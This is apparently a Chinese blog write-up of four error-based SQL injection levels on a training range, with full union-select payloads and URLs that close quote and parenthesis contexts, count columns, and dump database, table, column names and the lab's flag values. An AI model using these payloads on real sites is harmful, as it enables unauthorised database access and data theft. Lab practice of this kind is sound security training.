封神台靶场练习1

总结一下  显错注入数字型主要有

id = 1  直接   and 1=2

id = '1'   id = 1'  加上' 注释

id = ('1') id = 1')  加上' )注释

id = ("1") id = 1") 加上")注释

id=1 and 1=1//有回显
id=1 and 1=2// No results found 

判断为数字型注入

  • 判断有几列

id=1 order by 3 //有回显

id=1 order by 4 // No results found

判断有三列

  • 判断回显点
id=1 and 1=2 union select 1,2,3

name:2
pwd:3
因为union,所以前面要置错,让后面的查询语句回显。
select直接加数字串时,那么它输出的内容就是我们select后的数字

爆出数据库名,和数据库版本号

id=1 and 1=2 union select 1,2,database()

1

database()=error

 

爆出表名
id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 0,1#

得出表名为 error_flag

 

爆字段名
id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'


爆字段值

 id=1 and 1=2 union select 1,Id,flag from error_flag

 (二)pass 02

先试一试第一关的思路

id = 1 and 1=2

 不知道怎么办了
通过查看

 发现id被‘’注释了。

注意到它这里查询的时候是有拼接单引号'的,所以我们就需要提供一个单引号'让他闭合

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 4 -- qwe #页面异常

判断显错点

http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

开始注入,信息收集

查出当前库有多少个表

http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe

查出这error_flag的字段名

 

 查出字段flag的信息

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

(三) 

显错注入(三)

核心代码

$sql = "select *from user where id=('$id')";

我们注意到它这里查询的时候是有拼接单引号'还有括号()的,所以我们就需要提供')让他闭合。

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 4 -- qwe #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

开始注入,信息收集

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
显错注入(四)

核心代码

$sql = 'select *from user where id=("$id")';

我们注意到它这里查询的时候是有拼接双引号和括号的,所以我们就需要提供")让他闭合。

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 4 -- qwe #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值